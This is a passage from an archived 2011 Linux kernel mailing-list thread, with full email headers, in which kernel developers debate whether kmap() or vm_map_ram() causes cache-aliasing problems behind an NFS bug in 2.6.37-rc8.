	Uwe =?ISO-8859-1?Q?Kleine-K=F6nig?= 
	<u.kleine-koenig@pengutronix.de>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Marc Kleine-Budde <m.kleine-budde@pengutronix.de>,
	linux-arm-kernel@lists.infradead.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-arch@vger.kernel.org
To: Russell King - ARM Linux <linux@arm.linux.org.uk>
Original-X-From: linux-arch-owner@vger.kernel.org Wed Jan 05 20:05:45 2011
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1PaYg2-0008BE-Q9
	for glka-linux-arch@lo.gmane.org; Wed, 05 Jan 2011 20:05:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752308Ab1AETFl (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 5 Jan 2011 14:05:41 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:33148 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751432Ab1AETFk (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Wed, 5 Jan 2011 14:05:40 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 4CCF58EE10C;
	Wed,  5 Jan 2011 11:05:40 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id BVPiw61qn57R; Wed,  5 Jan 2011 11:05:40 -0800 (PST)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 0EFDD8EE0DF;
	Wed,  5 Jan 2011 11:05:38 -0800 (PST)
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:8657 gmane.linux.nfs:37978 gmane.linux.kernel:1083661 gmane.linux.ports.arm.kernel:101621 gmane.linux.ports.parisc:3324
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/8657>

[sorry for the unthreaded insertion.  We're seeing this on parisc too]

> On Wed, Jan 05, 2011 at 10:14:17AM -0500, Trond Myklebust wrote:
> > OK. So,the new behaviour in 2.6.37 is that we're writing to a series of
> > pages via the usual kmap_atomic()/kunmap_atomic() and kmap()/kunmap()
> > interfaces, but we can end up reading them via a virtual address range
> > that gets set up via vm_map_ram() (that range gets set up before the
> > write occurs).
> 
> kmap of lowmem pages will always reuses the existing kernel direct
> mapping, so there won't be a problem there.
> 
> > Do we perhaps need an invalidate_kernel_vmap_range() before we can read
> > the data on ARM in this kind of scenario?
> 
> Firstly, vm_map_ram() does no cache maintainence of any sort, nor does
> it take care of page colouring - so any architecture where cache aliasing
> can occur will see this problem.  It should not limited to ARM.
> 
> Secondly, no, invalidate_kernel_vmap_range() probably isn't sufficient.
> There's two problems here:
> 
> 	addr = kmap(lowmem_page);
> 	*addr = stuff;
> 	kunmap(lowmem_page);
> 
> Such lowmem pages are accessed through their kernel direct mapping.
> 
> 	ptr = vm_map_ram(lowmem_page);
> 	read = *ptr;
> 
> This creates a new mapping which can alias with the kernel direct mapping.
> Now, as this is a new mapping, there should be no cache lines associated
> with it.  (Looking at vm_unmap_ram(), it calls free_unmap_vmap_area_addr(),
> free_unmap_vmap_area(), which then calls flush_cache_vunmap() on the
> region.  vb_free() also calls flush_cache_vunmap() too.)
> 
> If the write after kmap() hits an already present cache line, the cache
> line will be updated, but it won't be written back to memory.  So, on
> a subsequent vm_map_ram(), with any kind of aliasing cache, there's
> no guarantee that you'll hit that cache line and read the data just
> written there.
> 
> The kernel direct mapping would need to be flushed.
> 
> I'm really getting to the point of hating the poliferation of RAM
> remapping interfaces - it's going to (and is) causing nothing but lots
> of pain on virtual cache architectures, needing more and more cache
> flushing interfaces to be created.
> 
> Is there any other solution to this?

I think the solution for the kernel direct mapping problem is to take
the expected flushes and invalidates into kmap/kunmap[_atomic].  I think
the original reason for not doing this was efficiency:  the user should
know what they did with the data (i.e. if they're only reading it, it
doesn't need to be flushed on unmap).  However, the difficulty of
getting all this right seems to outweigh the efficiency of only using
the necessary flushing.  At least on some architectures, we can look at
the TLB flags to see if the page was dirtied (and only flush if it was).

James



From - Thu Nov 08 21:06:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.nfs,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc
Subject: Re: still nfs problems [Was: Linux 2.6.37-rc8]
Date: Wed, 5 Jan 2011 11:18:14 -0800
Lines: 22
Approved: news@gmane.org
Message-ID: <AANLkTi=VZUxNFd7n-qwf5aiOeK5rkk8qBmo+kOpgg7up@mail.gmail.com>
References: <1294254337.16957.13.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1294255132 23807 80.91.229.12 (5 Jan 2011 19:18:52 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 5 Jan 2011 19:18:52 +0000 (UTC)
Cc: Russell King - ARM Linux <linux@arm.linux.org.uk>,
	Trond Myklebust <Trond.Myklebust@netapp.com>,
	linux-nfs@vger.kernel.org, linux-kernel@vger.kernel.org,
	Marc Kleine-Budde <mkl@pengutronix.de>,
	=?ISO-8859-1?Q?Uwe_Kleine=2DK=F6nig?= 
	<u.kleine-koenig@pengutronix.de>,
	Marc Kleine-Budde <m.kleine-budde@pengutronix.de>,
	linux-arm-kernel@lists.infradead.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-arch@vger.kernel.org
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-arch-owner@vger.kernel.org Wed Jan 05 20:18:44 2011
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1PaYsa-00087R-Bl
	for glka-linux-arch@lo.gmane.org; Wed, 05 Jan 2011 20:18:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752594Ab1AETSj (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 5 Jan 2011 14:18:39 -0500
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:45521 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752398Ab1AETSi (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Wed, 5 Jan 2011 14:18:38 -0500
Original-Received: from mail-iw0-f174.google.com (mail-iw0-f174.google.com [209.85.214.174])
	(authenticated bits=0)
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id p05JIaDp007341
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=FAIL);
	Wed, 5 Jan 2011 11:18:36 -0800
Original-Received: by iwn9 with SMTP id 9so15556226iwn.19
        for <multiple recipients>; Wed, 05 Jan 2011 11:18:35 -0800 (PST)
Original-Received: by 10.231.36.195 with SMTP id u3mr23700704ibd.41.1294255115527; Wed,
 05 Jan 2011 11:18:35 -0800 (PST)
Original-Received: by 10.231.31.72 with HTTP; Wed, 5 Jan 2011 11:18:14 -0800 (PST)
In-Reply-To: <1294254337.16957.13.camel@mulgrave.site>
X-Spam-Status: No, hits=-2.979 required=5 tests=AWL,BAYES_00
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:8659 gmane.linux.nfs:37981 gmane.linux.kernel:1083668 gmane.linux.ports.arm.kernel:101624 gmane.linux.ports.parisc:3325
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/8659>

On Wed, Jan 5, 2011 at 11:05 AM, James Bottomley
<James.Bottomley@hansenpartnership.com> wrote:
>
> I think the solution for the kernel direct mapping problem is to take
> the expected flushes and invalidates into kmap/kunmap[_atomic].

No, we really can't do that. Most of the time, the kmap() is the only
way we access the page anyway, so flushing things would just be
stupid. Why waste time and energy on doing something pointless?

In fact, kmap() here is a total non-issue. It's not the kmap() that
introduces any virtual aliases, and never has been. It's the
"vm_map_ram()" that is the problem. Unlike the kmap(), that really
_does_ introduce a virtual alias, and is a problem for any virtual
cache.

So don't blame kmap(). It's innocent and irrelevant - the bug could
happen entirely without it (think a 64-bit address space that doesn't
even _have_ kmap, but has software that mixes vm_map_ram() with
non-mapped accesses).

                           Linus

From - Thu Nov 08 21:06:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley-d9PhHud1JfjCXq6kfMZ53/egYHeGw8Jk@public.gmane.org>
Newsgroups: gmane.linux.nfs,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: still nfs problems [Was: Linux 2.6.37-rc8]
Date: Wed, 05 Jan 2011 13:36:09 -0600
Lines: 43
Approved: news@gmane.org
Message-ID: <1294256169.16957.18.camel@mulgrave.site>
References: <1294254337.16957.13.camel@mulgrave.site>
	 <AANLkTi=VZUxNFd7n-qwf5aiOeK5rkk8qBmo+kOpgg7up@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1294256186 29378 80.91.229.12 (5 Jan 2011 19:36:26 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 5 Jan 2011 19:36:26 +0000 (UTC)
Cc: Russell King - ARM Linux <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>,
	Trond Myklebust <Trond.Myklebust-HgOvQuBEEgTQT0dZR+AlfA@public.gmane.org>,
	linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Marc Kleine-Budde <mkl-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>,
	Uwe =?ISO-8859-1?Q?Kleine-K=F6nig?= 
	<u.kleine-koenig-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>,
	Marc Kleine-Budde <m.kleine-budde-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>,
	linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Parisc List <linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Linus Torvalds <torvalds-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>
Original-X-From: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Wed Jan 05 20:36:21 2011
Return-path: <linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glN-linux-nfs-1dZseelyfdZg9hUCZPvPmw@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1PaZ9e-0002YI-Fd
	for glN-linux-nfs-1dZseelyfdZg9hUCZPvPmw@public.gmane.org; Wed, 05 Jan 2011 20:36:18 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1751420Ab1AETgQ (ORCPT <rfc822;glN-linux-nfs@m.gmane.org>);
	Wed, 5 Jan 2011 14:36:16 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:49881 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751330Ab1AETgP (ORCPT
	<rfc822;linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Wed, 5 Jan 2011 14:36:15 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id A6D7D8EE10C;
	Wed,  5 Jan 2011 11:36:15 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 7-IVyq5tuwqd; Wed,  5 Jan 2011 11:36:15 -0800 (PST)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 80A3C8EE0DF;
	Wed,  5 Jan 2011 11:36:12 -0800 (PST)
In-Reply-To: <AANLkTi=VZUxNFd7n-qwf5aiOeK5rkk8qBmo+kOpgg7up-JsoAwUIsXosN+BqQ9rBEUg@public.gmane.org>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-nfs.vger.kernel.org>
X-Mailing-List: linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.nfs:37982 gmane.linux.kernel:1083675 gmane.linux.ports.arm.kernel:101626 gmane.linux.ports.parisc:3326 gmane.linux.kernel.cross-arch:8661
Archived-At: <http://permalink.gmane.org/gmane.linux.nfs/37982>

On Wed, 2011-01-05 at 11:18 -0800, Linus Torvalds wrote:
> On Wed, Jan 5, 2011 at 11:05 AM, James Bottomley
> <James.Bottomley-JuX6DAaQMKPCXq6kfMZ53/egYHeGw8Jk@public.gmane.org> wrote:
> >
> > I think the solution for the kernel direct mapping problem is to take
> > the expected flushes and invalidates into kmap/kunmap[_atomic].
> 
> No, we really can't do that. Most of the time, the kmap() is the only
> way we access the page anyway, so flushing things would just be
> stupid. Why waste time and energy on doing something pointless?

It's hardly pointless.  The kmap sets up an inequivalent alias in the
cache.  When you write to the kmap region, you dirty the CPU caches for
that alias.  If you tear down the mapping without flushing, the CPU will
write out the cache lines at its leisure.  If you access the line via
the other mapping *before* the CPU does writeout, you see stale data.

When the kernel dirties a kmap region, it always has to flush somehow
before kunmap.  One of the problems here is that that flush isn't in the
NFS code.

> In fact, kmap() here is a total non-issue. It's not the kmap() that
> introduces any virtual aliases, and never has been. It's the
> "vm_map_ram()" that is the problem. Unlike the kmap(), that really
> _does_ introduce a virtual alias, and is a problem for any virtual
> cache.
> 
> So don't blame kmap(). It's innocent and irrelevant - the bug could
> happen entirely without it (think a 64-bit address space that doesn't
> even _have_ kmap, but has software that mixes vm_map_ram() with
> non-mapped accesses).

I didn't say it was kmap's entire problem ... I just said, can't we
simplify some of this by consolidating the flushing into the interfaces.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-nfs" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.nfs,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc
Subject: Re: still nfs problems [Was: Linux 2.6.37-rc8]
Date: Wed, 5 Jan 2011 11:49:12 -0800
Lines: 35
Approved: news@gmane.org
Message-ID: <AANLkTik214sj_wBJXhJMLRie34moG7ET1Xg62oQXsgxb@mail.gmail.com>
References: <1294254337.16957.13.camel@mulgrave.site> <AANLkTi=VZUxNFd7n-qwf5aiOeK5rkk8qBmo+kOpgg7up@mail.gmail.com>
 <1294256169.16957.18.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1294257016 1400 80.91.229.12 (5 Jan 2011 19:50:16 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 5 Jan 2011 19:50:16 +0000 (UTC)
Cc: Russell King - ARM Linux <linux@arm.linux.org.uk>,
	Trond Myklebust <Trond.Myklebust@netapp.com>,
	linux-nfs@vger.kernel.org, linux-kernel@vger.kernel.org,
	Marc Kleine-Budde <mkl@pengutronix.de>,
	=?ISO-8859-1?Q?Uwe_Kleine=2DK=F6nig?= 
	<u.kleine-koenig@pengutronix.de>,
	Marc Kleine-Budde <m.kleine-budde@pengutronix.de>,
	linux-arm-kernel@lists.infradead.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-arch@vger.kernel.org
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-arch-owner@vger.kernel.org Wed Jan 05 20:50:04 2011
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1PaZMx-00032O-Fr
	for glka-linux-arch@lo.gmane.org; Wed, 05 Jan 2011 20:50:03 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752484Ab1AETuB convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glka-linux-arch@m.gmane.org>); Wed, 5 Jan 2011 14:50:01 -0500
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:51142 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752250Ab1AETuA convert rfc822-to-8bit
	(ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Wed, 5 Jan 2011 14:50:00 -0500
Original-Received: from mail-iw0-f174.google.com (mail-iw0-f174.google.com [209.85.214.174])
	(authenticated bits=0)
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id p05JnWAe009856
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=FAIL);
	Wed, 5 Jan 2011 11:49:32 -0800
Original-Received: by iwn9 with SMTP id 9so15583259iwn.19
        for <multiple recipients>; Wed, 05 Jan 2011 11:49:32 -0800 (PST)
Original-Received: by 10.231.36.195 with SMTP id u3mr23730346ibd.41.1294256972192; Wed,
 05 Jan 2011 11:49:32 -0800 (PST)
Original-Received: by 10.231.31.72 with HTTP; Wed, 5 Jan 2011 11:49:12 -0800 (PST)
In-Reply-To: <1294256169.16957.18.camel@mulgrave.site>
X-Spam-Status: No, hits=-2.979 required=5 tests=AWL,BAYES_00
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:8662 gmane.linux.nfs:37990 gmane.linux.kernel:1083680 gmane.linux.ports.arm.kernel:101629 gmane.linux.ports.parisc:3327
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/8662>

2011/1/5 James Bottomley <James.Bottomley@hansenpartnership.com>:
>>
>> No, we really can't do that. Most of the time, the kmap() is the onl=
y
>> way we access the page anyway, so flushing things would just be
>> stupid. Why waste time and energy on doing something pointless?
>
> It's hardly pointless. =A0The kmap sets up an inequivalent alias in t=
he
> cache.

NO IT DOES NOT.

Stop arguing, when you are so wrong.

kmap() does not create any aliases. For low-memory, it just returns
the physical address. No alias. And for high memory, there is no
equivalent low memory address to alias _with_.

Now, when you actually mix multiple kmap's and you have a virtually
based cache, then the kmap's obviously need to flush that particular
page when switching between each other. But that has nothing to do
with the actual page being kmap'ed, it's entirely an internal issue
about the particular virtual memory area being re-used. And ARM (and
any other virtually based CPU) already does that in __kunmap_atomic().

But notice the case of the low-mem. And understand that you are WRONG
about the "inequivalent alias" thing.

So I repeat: this has absolutely *NOTHING* to do with kmap(). Stop blat=
hering.

It's _purely_ an issue of vm_map_ram(). Nothing else.

                          Linus

From - Thu Nov 08 21:06:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Russell King - ARM Linux <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>
Newsgroups: gmane.linux.nfs,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: still nfs problems [Was: Linux 2.6.37-rc8]
Date: Wed, 5 Jan 2011 20:00:08 +0000
Lines: 37
Approved: news@gmane.org
Message-ID: <20110105200008.GJ8638@n2100.arm.linux.org.uk>
References: <1294254337.16957.13.camel@mulgrave.site> <AANLkTi=VZUxNFd7n-qwf5aiOeK5rkk8qBmo+kOpgg7up@mail.gmail.com> <1294256169.16957.18.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1294257681 4908 80.91.229.12 (5 Jan 2011 20:01:21 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 5 Jan 2011 20:01:21 +0000 (UTC)
Cc: Linus Torvalds <torvalds-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>,
	Trond Myklebust <Trond.Myklebust-HgOvQuBEEgTQT0dZR+AlfA@public.gmane.org>,
	linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Marc Kleine-Budde <mkl-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>,
	Uwe =?iso-8859-1?Q?Kleine-K=F6nig?= 
	<u.kleine-koenig-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>,
	Marc Kleine-Budde <m.kleine-budde-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>,
	linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Parisc List <linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: James Bottomley <James.Bottomley-d9PhHud1JfjCXq6kfMZ53/egYHeGw8Jk@public.gmane.org>
Original-X-From: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Wed Jan 05 21:01:15 2011
Return-path: <linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glN-linux-nfs-1dZseelyfdZg9hUCZPvPmw@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1PaZXm-0001qw-Ec
	for glN-linux-nfs-1dZseelyfdZg9hUCZPvPmw@public.gmane.org; Wed, 05 Jan 2011 21:01:14 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1751941Ab1AEUBN (ORCPT <rfc822;glN-linux-nfs@m.gmane.org>);
	Wed, 5 Jan 2011 15:01:13 -0500
Original-Received: from caramon.arm.linux.org.uk ([78.32.30.218]:37662 "EHLO
	caramon.arm.linux.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751529Ab1AEUBM (ORCPT
	<rfc822;linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Wed, 5 Jan 2011 15:01:12 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=arm.linux.org.uk; s=caramon;
	h=Sender:In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date; bh=1u6DauTk+/DG3aSNyiy7bf8ipmz36oGam/VhQiQDk0M=;
	b=aM+AWtOXUv2WNHUAs9bzrV0WdcGK4eKi4ri/eOpdhhb/bCMPxKUy4EjwpaxlPhCJvA9b0ed4BMsYwrLQOv3iT0Zo/1x3Vu8oOdLxmmmwzQYMgCzfS/M0Nu3Czm5/U1x5/Cnr7lzwv0M+4NHiFLLVkJVSbfr3BpHdusAN+2rbPmI=;
Original-Received: from n2100.arm.linux.org.uk ([2002:4e20:1eda:1:214:fdff:fe10:4f86])
	by caramon.arm.linux.org.uk with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.72)
	(envelope-from <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>)
	id 1PaZWk-0008UY-A2; Wed, 05 Jan 2011 20:00:10 +0000
Original-Received: from linux by n2100.arm.linux.org.uk with local (Exim 4.72)
	(envelope-from <linux-l+eeeJia6m9vn6HldHNs0ANdhmdF6hFW@public.gmane.org>)
	id 1PaZWi-0005K4-Ud; Wed, 05 Jan 2011 20:00:08 +0000
Content-Disposition: inline
In-Reply-To: <1294256169.16957.18.camel-0iu6Cu4xQGLYCGPCin2YbQ@public.gmane.org>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-nfs.vger.kernel.org>
X-Mailing-List: linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.nfs:37991 gmane.linux.kernel:1083685 gmane.linux.ports.arm.kernel:101630 gmane.linux.ports.parisc:3328 gmane.linux.kernel.cross-arch:8664
Archived-At: <http://permalink.gmane.org/gmane.linux.nfs/37991>

On Wed, Jan 05, 2011 at 01:36:09PM -0600, James Bottomley wrote:
> On Wed, 2011-01-05 at 11:18 -0800, Linus Torvalds wrote:
> > On Wed, Jan 5, 2011 at 11:05 AM, James Bottomley
> > <James.Bottomley-JuX6DAaQMKPCXq6kfMZ53/egYHeGw8Jk@public.gmane.org> wrote:
> > >
> > > I think the solution for the kernel direct mapping problem is to take
> > > the expected flushes and invalidates into kmap/kunmap[_atomic].
> > 
> > No, we really can't do that. Most of the time, the kmap() is the only
> > way we access the page anyway, so flushing things would just be
> > stupid. Why waste time and energy on doing something pointless?
> 
> It's hardly pointless.  The kmap sets up an inequivalent alias in the
> cache.

No it doesn't.  For pages which are inaccessible, it sets up a mapping
for those pages.  On aliasing cache architectures, when you tear down
such a mapping, you have to flush the cache before you do so (otherwise
you can end up with cache lines existing in the cache for inaccessible
mappings.)

For lowmem pages, kmap() (should always) bypass the 'setup mapping' stage
because all lowmem pages are already accessible.  So kunmap() doesn't
do anything - just like the !HIGHMEM implementation for these macros.

So, for highmem-enabled systems:

	low_addr = kmap_atomic(lowmem_page);
	high_addr = kmap_atomic(highmem_page);

results in low_addr in the kernel direct-mapped region, and high_addr
in the kmap_atomic region.
--
To unsubscribe from this list: send the line "unsubscribe linux-nfs" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel,gmane.linux.nfs,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: still nfs problems [Was: Linux 2.6.37-rc8]
Date: Wed, 05 Jan 2011 14:33:57 -0600
Lines: 43
Approved: news@gmane.org
Message-ID: <1294259637.16957.25.camel@mulgrave.site>
References: <1294254337.16957.13.camel@mulgrave.site>
	 <AANLkTi=VZUxNFd7n-qwf5aiOeK5rkk8qBmo+kOpgg7up@mail.gmail.com>
	 <1294256169.16957.18.camel@mulgrave.site>
	 <20110105200008.GJ8638@n2100.arm.linux.org.uk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1294259656 15519 80.91.229.12 (5 Jan 2011 20:34:16 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 5 Jan 2011 20:34:16 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
